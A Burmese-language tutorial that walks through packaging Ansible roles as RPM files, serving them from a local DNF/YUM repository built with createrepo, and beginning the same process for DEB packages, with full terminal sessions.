အရင်ဆုံး Ansible role တခုကို ကိုယ်အလုပ်လုပ်မယ့် directory မှာဖန်တီးလိုက်ရအောင်။ ဒီနေရာမှာ ဘာအတွက်အသုံးပြုတဲ့ Ansible role လဲဆိုတာအရေးမကြီးပါဘူး။ ဘယ်လိုမျိုး RPM package တခုရအောင်ဖန်တီးသလဲဆိုတာသာ အဓိကဖြစ်တဲ့အတွက် `ansible-galaxy init` command ကိုအသုံးပြုပါ့မယ်။

```bash
tyla@fedora:~/code/rpm$ ansible-galaxy init myrole                               
- Role merole was created successfully 
tyla@fedora:~/code/rpm$ ll                                                       
total 0                                                                          drwxr-xr-x. 10 tyla tyla 135 Nov 13 10:33 myrole
tyla@fedora:~/code/rpm$ tree myrole
myrole
├── defaults
│   └── main.yml
├── files
├── handlers
│   └── main.yml
├── meta
│   └── main.yml
├── README.md
├── tasks
│   └── main.yml
├── templates
├── tests
│   ├── inventory
│   └── test.yml
└── vars
    └── main.yml

9 directories, 8 files
```

Ansible role တခုမှာပါရမယ့် လိုအပ်တဲ့ file တွေ directory တွေကို ansible-galaxy init က auto-magically ဖန်တီးပေးပါလိမ့်မယ်။ နောက်အဆင့်အနေနဲ့ RPM package ကိုဖန်တီးဖို့အတွက်စတင်ပြင်ဆင်လိုက်ရအောင်။

```bash
tyla@fedora:~/code/rpm$ rpmdev-setuptree
tyla@fedora:~/code/rpm$ tree ~/rpmbuild/
/home/tyla/rpmbuild/
├── BUILD
├── RPMS
├── SOURCES
├── SPECS
└── SRPMS
```

rpmdev-setuptree command ကို run လိုက်တာနဲ့ ကိုယ့်ရဲ့ home directory မှာ rpmbuild ဆိုတဲ့ directory တခုတည်ဆောက်ပေးပါလိမ့်မယ်။ ဒါ့အပြင် အခြားသောလိုအပ်တဲ့ sub-directory တွေကိုလည်း အလိုအလျှောက် အဲ့ဒီ directory အောက်မှာဖန်တီးသွားပါတယ်။ နောက်အဆင့်မှာ ကိုယ်ဖန်တီးထားတဲ့ Ansible role ကို tar နဲ့ .tar.gz ရလာအောင် အောက်မှာဖော်ပြပါအတိုင်း SOURCES ဆိုတဲ့ sub-directory အောက်မှာအရင်ပြင်ဆင်ပေးလိုက်ပါ။

```bash
tyla@fedora:~/code/rpm$ tar czf ~/rpmbuild/SOURCES/ansible-role-myrole.tar.gz myrole/
```

RPM package တခုကို ဘယ်လိုမျိုး build လုပ်ချင်သလဲဆိုတာကို လမ်းညွန်ပေးမယ့် spec file တခုကို အောက်မှာဖော်ပြပေးထားသလိုမျိုး ဖန်တီးလိုက်ရအောင်။

```bash
tyla@fedora:~/code/rpm$ vi ~/rpmbuild/SPECS/ansible-role-myrole.spec
Name:           ansible-role-myrole
Version:        1.0.0
Release:        1%{?dist}
Summary:        Ansible role for <describe your role>

License:        MIT
Source0:        %{name}.tar.gz
BuildArch:      noarch
Requires:       ansible

%description
This is an Ansible role for <describe your role here>.

%prep
%setup -q -n myrole

%build
# No build steps needed

%install
mkdir -p %{buildroot}/usr/share/ansible/roles
cp -a . %{buildroot}/usr/share/ansible/roles/myrole

%files
/usr/share/ansible/roles/myrole

%changelog
* Tue Oct 29 2024 Your Name <you@example.com> - 1.0.0-1
- Initial RPM release
```

ဒီ spec file မှာ RPM အတွက်အရေးပါတဲ့ အချက်အလက်တွေပါဝင်ပါတယ်။ ဥပမာ - Name, Version, Release, BuildArch, Requires ဆိုတဲ့ဟာတွေကို RPM package တခုအတွက် ဘယ် version နဲ့ ဘယ် release ကိုဘယ်လိုမျိုး system ပေါ်မှာ run နိုင်သလဲဆိုတာမူတည်ပြီး အလိုက်သင့်ပြောင်းပေးရပါ့မယ်။ Ansible role ဟာ plaintext file တခုဖြစ်တဲ့အတွက် %build အတွက်ဘာမှ လုပ်စရာမလိုပါဘူး။ အားလုံးအဆင်သင့်ဖြစ်နေပြီးဆိုရင်တော့ RPM တခုဖန်တီးဖို့အတွက် စတင်လို့ရနိုင်ပါပြီ။

```bash
tyla@fedora:~/code/rpm$ rpmbuild -ba ~/rpmbuild/SPECS/ansible-role-myrole.spec                                                                                                                
Building target platforms: noarch                                                                                                                                                             
Building for target noarch                                                                                                                                                                    
setting SOURCE_DATE_EPOCH=1730160000                                                                                                                                                          
Executing(%mkbuilddir): /bin/sh -e /var/tmp/rpm-tmp.DdpRQa                                                                                                                                    
+ umask 022                                                                                                                                                                                   
+ cd /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                                
+ test -d /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                           
+ /usr/bin/chmod -Rf a+rX,u+w,g-w,o-w /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                               
+ /usr/bin/rm -rf /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                   
+ /usr/bin/mkdir -p /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                 
+ /usr/bin/mkdir -p /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/SPECPARTS                                                                                                       
+ RPM_EC=0                                                                                                                                                                                    
++ jobs -p                                                                                                                                                                                    
+ exit 0                                                                                                                                                                                      
Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.oUanG9                                                                                                                                          
+ umask 022                                                                                                                                                                                   
+ cd /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                                
+ cd /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                                
+ rm -rf myrole
+ /usr/lib/rpm/rpmuncompress -x /home/tyla/rpmbuild/SOURCES/ansible-role-myrole.tar.gz
+ STATUS=0
+ '[' 0 -ne 0 ']'
+ cd myrole
+ /usr/bin/chmod -Rf a+rX,u+w,g-w,o-w .
+ RPM_EC=0
++ jobs -p
+ exit 0
Executing(%build): /bin/sh -e /var/tmp/rpm-tmp.HB8PqY                                          
+ umask 022
+ cd /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                                
+ CFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -spec
s=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash
-protection -fcf-protection -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer '
+ export CFLAGS
+ CXXFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -sp
ecs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-cla
sh-protection -fcf-protection -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer '
+ export CXXFLAGS
+ FFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/re
dhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protect
ion -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -I/usr/lib/gfortran/modules '
+ export FFLAGS
+ FCFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/r
edhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protec
tion -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -I/usr/lib/gfortran/modules '
+ export FCFLAGS
+ VALAFLAGS=-g
+ export VALAFLAGS
+ RUSTFLAGS='-Copt-level=3 -Cdebuginfo=2 -Ccodegen-units=1 -Cstrip=none -Cforce-frame-pointers=yes --cap-lints=warn'
+ export RUSTFLAGS
+ LDFLAGS='-Wl,-z,relro -Wl,--as-needed   -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -Wl,--build-id=sha1  '
+ export LDFLAGS
+ LT_SYS_LIBRARY_PATH=/usr/lib:
+ export LT_SYS_LIBRARY_PATH
+ CC=gcc
+ export CC
+ CXX=g++
+ export CXX
+ cd myrole
+ RPM_EC=0
++ jobs -p
+ exit 0
Executing(%install): /bin/sh -e /var/tmp/rpm-tmp.OrCZMu                                                                                                                                       
+ umask 022
+ cd /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                                
+ '[' /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT '!=' / ']'
+ rm -rf /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT                                                                                                                  
++ dirname /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT                                                                                                                
+ mkdir -p /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                          
+ mkdir /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT                                                                                                                   
+ CFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -spec
s=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash
-protection -fcf-protection -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer '
+ export CFLAGS
+ CXXFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -sp
ecs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-cla
sh-protection -fcf-protection -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer '
+ export CXXFLAGS
+ FFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/re
dhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protect
ion -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -I/usr/lib/gfortran/modules '
+ export FFLAGS
+ FCFLAGS='-O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/r
edhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -m64 -march=x86-64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protec
tion -mtls-dialect=gnu2 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -I/usr/lib/gfortran/modules '
+ export FCFLAGS
+ VALAFLAGS=-g
+ export VALAFLAGS
+ RUSTFLAGS='-Copt-level=3 -Cdebuginfo=2 -Ccodegen-units=1 -Cstrip=none -Cforce-frame-pointers=yes --cap-lints=warn'
+ export RUSTFLAGS
+ LDFLAGS='-Wl,-z,relro -Wl,--as-needed   -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1  -Wl,--build-id=sha1  '
+ export LDFLAGS
+ LT_SYS_LIBRARY_PATH=/usr/lib:
+ export LT_SYS_LIBRARY_PATH
+ CC=gcc
+ export CC
+ CXX=g++
+ export CXX
+ cd myrole
+ mkdir -p /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT/usr/share/ansible/roles                                                                                        
+ cp -a . /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT/usr/share/ansible/roles/myrole
+ '[' '%{buildarch}' = noarch ']'
+ QA_CHECK_RPATHS=1
+ case "${QA_CHECK_RPATHS:-}" in
+ /usr/lib/rpm/check-rpaths
+ /usr/lib/rpm/check-buildroot
+ /usr/lib/rpm/redhat/brp-ldconfig
+ /usr/lib/rpm/brp-compress
+ /usr/lib/rpm/brp-strip /usr/bin/strip
+ /usr/lib/rpm/brp-strip-comment-note /usr/bin/strip /usr/bin/objdump                                                                                                                         
+ /usr/lib/rpm/redhat/brp-strip-lto /usr/bin/strip                                             
+ /usr/lib/rpm/brp-strip-static-archive /usr/bin/strip                                                                                                                                        
+ /usr/lib/rpm/check-rpaths
+ /usr/lib/rpm/redhat/brp-mangle-shebangs                                                      
+ /usr/lib/rpm/brp-remove-la-files
+ env /usr/lib/rpm/redhat/brp-python-bytecompile '' 1 0 -j2                                                                                                                                   
+ /usr/lib/rpm/redhat/brp-python-hardlink                                                      
+ /usr/bin/add-determinism --brp -j2 /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT
Scanned 14 directories and 8 files,
               processed 0 inodes,
               0 modified (0 replaced + 0 rewritten),                                          
               0 unsupported format, 0 errors                                                  
Processing files: ansible-role-myrole-1.0.0-1.fc41.noarch                                                                                                                                     
Provides: ansible-role-myrole = 1.0.0-1.fc41                                                   
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(FileDigests) <= 4.6.0-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Checking for unpackaged file(s): /usr/lib/rpm/check-files /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build/BUILDROOT
Wrote: /home/tyla/rpmbuild/SRPMS/ansible-role-myrole-1.0.0-1.fc41.src.rpm                                                                                                                     
Wrote: /home/tyla/rpmbuild/RPMS/noarch/ansible-role-myrole-1.0.0-1.fc41.noarch.rpm
Executing(rmbuild): /bin/sh -e /var/tmp/rpm-tmp.Idhmi2                                                                                                                                        
+ umask 022
+ cd /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                                
+ test -d /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                           
+ /usr/bin/chmod -Rf a+rX,u+w,g-w,o-w /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build
+ rm -rf /home/tyla/rpmbuild/BUILD/ansible-role-myrole-1.0.0-build                                                                                                                            
+ RPM_EC=0
++ jobs -p
+ exit 0

tyla@fedora:~/code/rpm$ tree ~/rpmbuild/
/home/tyla/rpmbuild/
├── BUILD
├── RPMS
│   └── noarch
│       └── ansible-role-myrole-1.0.0-1.fc41.noarch.rpm
├── SOURCES
│   └── ansible-role-myrole.tar.gz
├── SPECS
│   └── ansible-role-myrole.spec
└── SRPMS
    └── ansible-role-myrole-1.0.0-1.fc41.src.rpm
```

အထက်မှာဖော်ပြထားတဲ့အတိုင်း \~/rpmbuild/BUILD/RPMS/noarch directory အောက်မှာ ansible-role-myrole-1.0.0-1.fc41.noarch.rpm ဆိုပြီးတွေ့ရပါလိမ့်မယ်။ RPM package နှစ်ခုဖြစ်သွားအောင်လို့ အထက်ဖော်ပြပါ လုပ်ငန်းစဉ်အတိုင်း ansible-role-merole တခုကိုထပ်မံဖန်တီးလိုက်ပါ။

```bash
tyla@fedora:~/code/rpm$ tree
.
├── merole
│   ├── defaults
│   │   └── main.yml
│   ├── files
│   ├── handlers
│   │   └── main.yml
│   ├── meta
│   │   └── main.yml
│   ├── README.md
│   ├── tasks
│   │   └── main.yml
│   ├── templates
│   ├── tests
│   │   ├── inventory
│   │   └── test.yml
│   └── vars
│       └── main.yml
└── myrole
    ├── defaults
    │   └── main.yml
    ├── files
    ├── handlers
    │   └── main.yml
    ├── meta
    │   └── main.yml
    ├── README.md
    ├── tasks
    │   └── main.yml
    ├── templates
    ├── tests
    │   ├── inventory
    │   └── test.yml
    └── vars
        └── main.yml

19 directories, 16 files

tyla@fedora:~/code/rpm$ tree ~/rpmbuild/
/home/tyla/rpmbuild/
├── BUILD
├── RPMS
│   └── noarch
│       ├── ansible-role-merole-1.0.0-1.fc41.noarch.rpm
│       └── ansible-role-myrole-1.0.0-1.fc41.noarch.rpm
├── SOURCES
│   ├── ansible-role-merole.tar.gz
│   └── ansible-role-myrole.tar.gz
├── SPECS
│   ├── ansible-role-merole.spec
│   └── ansible-role-myrole.spec
└── SRPMS
    ├── ansible-role-merole-1.0.0-1.fc41.src.rpm
    └── ansible-role-myrole-1.0.0-1.fc41.src.rpm

7 directories, 8 files
```

#### RPM repository ဖန်တီးပုံ လုပ်ငန်းစဉ်အဆင့်ဆင့်

အထက်မှာ ထုပ်ပိုးပြီးသား RPM package တွေကို ကိုယ် repository အနေနဲ့အသုံးပြုမယ့် directory ထဲကိုအရင်ဆုံး ကူးယူလိုက်ပါ။ ကူးယူပြီးတာနဲ့ createrepo ကိုအသုံးပြုပြီး RPM repository တခုဖြစ်လာအောင် အောက်မှာဖော်ပြထားသလိုပြင်ဆင်လိုက်ပါ။

```bash
tyla@fedora:~$ cd /opt
tyla@fedora:/opt$ sudo mkdir myrepo
tyla@fedora:/opt$ ll
total 0
drwxr-xr-x. 2 root root 6 Nov 13 11:59 myrepo
tyla@fedora:/opt$ sudo chown -R tyla:tyla myrepo
tyla@fedora:/opt$ cp ~/rpmbuild/RPMS/noarch/* myrepo/
tyla@fedora:/opt$ tree myrepo/
myrepo/
├── ansible-role-merole-1.0.0-1.fc41.noarch.rpm
└── ansible-role-myrole-1.0.0-1.fc41.noarch.rpm

1 directory, 2 files
tyla@fedora:/opt$ ll myrepo/
total 24
-rw-r--r--. 1 tyla tyla 10253 Nov 13 12:00 ansible-role-merole-1.0.0-1.fc41.noarch.rpm
-rw-r--r--. 1 tyla tyla 10254 Nov 13 12:00 ansible-role-myrole-1.0.0-1.fc41.noarch.rpm
tyla@fedora:/opt$ createrepo myrepo/
Directory walk started
Directory walk done - 2 packages
Temporary output repo path: myrepo/.repodata/
Pool started (with 5 workers)
Pool finished
tyla@fedora:/opt$ cd myrepo/
tyla@fedora:/opt/myrepo$ ll
total 28
-rw-r--r--. 1 tyla tyla 10253 Nov 13 12:00 ansible-role-merole-1.0.0-1.fc41.noarch.rpm
-rw-r--r--. 1 tyla tyla 10254 Nov 13 12:00 ansible-role-myrole-1.0.0-1.fc41.noarch.rpm
drwxr-xr-x. 2 tyla tyla  4096 Nov 13 12:01 repodata
```

ဒီ repository ကို DNF/YUM နဲ့အသုံးပြုဖို့အတွက် /etc/yum.repos.d/myrepo.repo ဆိုတဲ့ file တခုကိုအောက်မှာပြထားသလိုမျိုးအရင်ဆုံးဖန်တီးပေးလိုက်ပါ။

```bash
tyla@fedora:~$ sudo vi /etc/yum.repos.d/myrepo.repo
[myrepo]
name=My Custom Repository
baseurl=file:///opt/myrepo  # For a local repository
# or use a network path, such as:
# baseurl=http://192.168.1.10/myrepo
enabled=1
gpgcheck=0
```

#### RPM package တွေကို DNF/YUM package manager နဲ့စားသုံးခြင်း

RPM package တွေကို repository အနေနဲ့ ပြင်ဆင်ပြီးနောက် ကိုယ့်ရဲ့ package manager workflow မှာဘယ်လိုမျိုး အသုံးပြုလို့ရသလဲဆိုတာအောက်မှာတချက်လောက်ကြည့်လိုက်ရအောင်။

```bash
# update the dnf repository cache
tyla@fedora:~$ sudo dnf update -y                                                                                                                                                             
Updating and loading repositories:                                                                                                                                                            
 My Custom Repository                                                                                                                                 100% |  28.0 KiB/s |   2.2 KiB |  00m00s
Repositories loaded.                                                                                                                                                                          
Nothing to do.                                                                                                                                                                                

# install the custom Ansible role 
tyla@fedora:~$ sudo dnf install ansible-role-myrole                                                                                                                                           
Updating and loading repositories:                                                                                                                                                            
Repositories loaded.                                                                                                                                                                          
Package                                                          Arch           Version                                                          Repository                               Size
Installing:                                                                                                                                                                                   
 ansible-role-myrole                                             noarch         1.0.0-1.fc41                                                     myrepo                                3.1 KiB

Transaction Summary:
 Installing:         1 package

Total size of inbound packages is 10 KiB. Need to download 10 KiB.
After this operation, 3 KiB extra will be used (install 3 KiB, remove 0 B).
Is this ok [y/N]: y
[1/1] ansible-role-myrole-0:1.0.0-1.fc41.noarch                                                                                                       100% |  38.8 KiB/s |  10.0 KiB |  00m00s
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[1/1] Total                                                                                                                                           100% |  38.7 KiB/s |  10.0 KiB |  00m00s
Running transaction
[1/3] Verify package files                                                                                                                            100% | 333.0   B/s |   1.0   B |  00m00s
[2/3] Prepare transaction                                                                                                                             100% |  11.0   B/s |   1.0   B |  00m00s
[3/3] Installing ansible-role-myrole-0:1.0.0-1.fc41.noarch                                                                                            100% |   8.8 KiB/s |   5.8 KiB |  00m01s
Warning: skipped PGP checks for 1 package from repository: myrepo
Complete!

# verify its installation
tyla@fedora:~$ cd /usr/share/ansible/roles
tyla@fedora:/usr/share/ansible/roles$ tree
.
└── myrole
    ├── defaults
    │   └── main.yml
    ├── files
    ├── handlers
    │   └── main.yml
    ├── meta
    │   └── main.yml
    ├── README.md
    ├── tasks
    │   └── main.yml
    ├── templates
    ├── tests
    │   ├── inventory
    │   └── test.yml
    └── vars
        └── main.yml

10 directories, 8 files

# attempt to install the same rpm package to see what happens
tyla@fedora:/usr/share/ansible/roles$ cd 
tyla@fedora:~$ sudo dnf install ansible-role-myrole
Updating and loading repositories:
Repositories loaded.
Package "ansible-role-myrole-1.0.0-1.fc41.noarch" is already installed.

Nothing to do.

# uninstall the rpm package
tyla@fedora:~$ sudo dnf remove ansible-role-myrole
Package                                                          Arch           Version                                                          Repository                               Size
Removing:
 ansible-role-myrole                                             noarch         1.0.0-1.fc41                                                     myrepo                                3.1 KiB

Transaction Summary:
 Removing:           1 package

Is this ok [y/N]: y

Running transaction
[1/2] Prepare transaction                                                                                                                             100% |  10.0   B/s |   1.0   B |  00m00s
[2/2] Erasing ansible-role-myrole-0:1.0.0-1.fc41.noarch                                                                                               100% |  21.0   B/s |  17.0   B |  00m01s
Complete!

# verify the uninstallation
tyla@fedora:~$ cd /usr/share/ansible/roles/
tyla@fedora:/usr/share/ansible/roles$ ll
total 0

# now reinstall both myrole and merole
tyla@fedora:/usr/share/ansible/roles$ sudo dnf install ansible-role-myrole ansible-role-merole -y
Updating and loading repositories:
Repositories loaded.
Package                                                          Arch           Version                                                          Repository                               Size
Installing:
 ansible-role-merole                                             noarch         1.0.0-1.fc41                                                     myrepo                                3.1 KiB
 ansible-role-myrole                                             noarch         1.0.0-1.fc41                                                     myrepo                                3.1 KiB

Transaction Summary:
 Installing:         2 packages

Total size of inbound packages is 20 KiB. Need to download 20 KiB.
After this operation, 6 KiB extra will be used (install 6 KiB, remove 0 B).
[1/2] ansible-role-myrole-0:1.0.0-1.fc41.noarch                                                                                                       100% | 500.7 KiB/s |  10.0 KiB |  00m00s
[2/2] ansible-role-merole-0:1.0.0-1.fc41.noarch                                                                                                       100% | 270.6 KiB/s |  10.0 KiB |  00m00s
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[2/2] Total                                                                                                                                           100% | 527.0 KiB/s |  20.0 KiB |  00m00s
Running transaction
[1/4] Verify package files                                                                                                                            100% | 666.0   B/s |   2.0   B |  00m00s
[2/4] Prepare transaction                                                                                                                             100% |  21.0   B/s |   2.0   B |  00m00s
[3/4] Installing ansible-role-merole-0:1.0.0-1.fc41.noarch                                                                                            100% |  70.6 KiB/s |   5.8 KiB |  00m00s
[4/4] Installing ansible-role-myrole-0:1.0.0-1.fc41.noarch                                                                                            100% |   5.3 KiB/s |   5.8 KiB |  00m01s
Warning: skipped PGP checks for 2 packages from repository: myrepo
Complete!

# verify the installation
tyla@fedora:/usr/share/ansible/roles$ tree
.
├── merole
│   ├── defaults
│   │   └── main.yml
│   ├── files
│   ├── handlers
│   │   └── main.yml
│   ├── meta
│   │   └── main.yml
│   ├── README.md
│   ├── tasks
│   │   └── main.yml
│   ├── templates
│   ├── tests
│   │   ├── inventory
│   │   └── test.yml
│   └── vars
│       └── main.yml
└── myrole
    ├── defaults
    │   └── main.yml
    ├── files
    ├── handlers
    │   └── main.yml
    ├── meta
    │   └── main.yml
    ├── README.md
    ├── tasks
    │   └── main.yml
    ├── templates
    ├── tests
    │   ├── inventory
    │   └── test.yml
    └── vars
        └── main.yml

19 directories, 16 files
```

ပြထားတဲ့အတိုင်း yum repo ကိုသေချာ configure လုပ်ပြီးသွားတာနဲ့ ကိုယ်သုံးနေကြ DNF/YUM command တွေနဲ့ လိုသလို install လုပ်လိုက်၊ uninstall လုပ်လိုက်နိုင်ပါပြီ။ တခုရှိတာက... /opt/myrepo ဆိုတဲ့ directory ထဲကိုနောက်ထပ် rpm package တွေထပ်ကူးထည့်တာပဲဖြစ်ဖြစ်၊ အချို့သော rpm package တွေကို ဖယ်ရှားပစ်တာပဲဖြစ်ဖြစ် createrepo command ကိုပြန်ပြီး run ပေးရပါလိမ့်မယ်။

```bash
tyla@fedora:~$ createrepo --update /opt/myrepo
Directory walk started
Directory walk done - 2 packages
Loaded information about 2 packages
Temporary output repo path: /opt/myrepo/.repodata/
Pool started (with 5 workers)
Pool finished
New and old repodata match, not updating.
tyla@fedora:~$ cd /opt/myrepo/
tyla@fedora:/opt/myrepo$ rm -f ansible-role-merole-1.0.0-1.fc41.noarch.rpm 
tyla@fedora:/opt/myrepo$ ll
total 16
-rw-r--r--. 1 tyla tyla 10254 Nov 13 12:00 ansible-role-myrole-1.0.0-1.fc41.noarch.rpm
drwxr-xr-x. 2 tyla tyla  4096 Nov 13 12:01 repodata
tyla@fedora:/opt/myrepo$ cd 
tyla@fedora:~$ createrepo --update /opt/myrepo
Directory walk started
Directory walk done - 1 packages
Loaded information about 1 packages
Temporary output repo path: /opt/myrepo/.repodata/
Pool started (with 5 workers)
Pool finished
```

### DEB package နဲ့ repository ဖြစ်ဖို့ပြင်ဆင်ပုံ

#### ကြိုတင်ပြင်ဆင်မူ

* Dpkg-dev - ဒီ tool ဟာ .deb package တွေကိုထုပ်ပိုးဖို့ ပြင်ဆင်တဲ့အခါလိုအပ်ပါတယ်။ Fedora မှာ Fedora-packager လိုသလိုပဲ၊ Debian နဲ့ Ubuntu မှာလည်း dpkg-dev ကိုအရင်ဆုံး install လုပ်ထားဖို့လိုပါလိမ့်မယ်။ `sudo apt install dpkg-dev -y` command ကိုအသုံးပြုပြီး dpkg-dev package ကို Ubuntu ပေါ်မှာ install လုပ်နိုင်ပါတယ်။
* Ansible - အထက်က RPM package တွေအကြောင်းမှာရှင်းပြထားသလိုပဲ၊ စာရေးသူ Ansible role တွေကို distribute လုပ်တဲ့အခါမှာ .deb package တွေကိုဘယ်လိုမျိုး အသုံးပြုသလဲဆိုတာကို ဥပမာတခုအနေနဲ့ ပြချင်လို့ install လုပ်ရခြင်းဖြစ်ပါတယ်။

#### DEB package ထုပ်ပိုးပုံ လုပ်ငန်းစဉ်အဆင့်ဆင့်

အထက်မှာလည်း ရှင်းထားပြီးသားဖြစ်တဲ့အတွက် ansible-galaxy init command ကိုသုံးပြီး Ansible role နှစ်ခုကို အောက်မှာပြထားတဲ့အတိုင်း အရင်ဆုံး ဖန်တီးလိုက်ရအောင်။

```bash
tyla@ubuntu:~/code/deb$ ansible-galaxy init myrole
- Role myrole was created successfully
tyla@ubuntu:~/code/deb$ ansible-galaxy init merole
- Role merole was created successfully
tyla@ubuntu:~/code/deb$ tree
.
├── merole
│   ├── defaults
│   │   └── main.yml
│   ├── handlers
│   │   └── main.yml
│   ├── meta
│   │   └── main.yml
│   ├── README.md
│   ├── tasks
│   │   └── main.yml
│   ├── tests
│   │   ├── inventory
│   │   └── test.yml
│   └── vars
│       └── main.yml
└── myrole
    ├── defaults
    │   └── main.yml
    ├── handlers
    │   └── main.yml
    ├── meta
    │   └── main.yml
    ├── README.md
    ├── tasks
    │   └── main.yml
    ├── tests
    │   ├── inventory
    │   └── test.yml
    └── vars
        └── main.yml

14 directories, 16 files
```

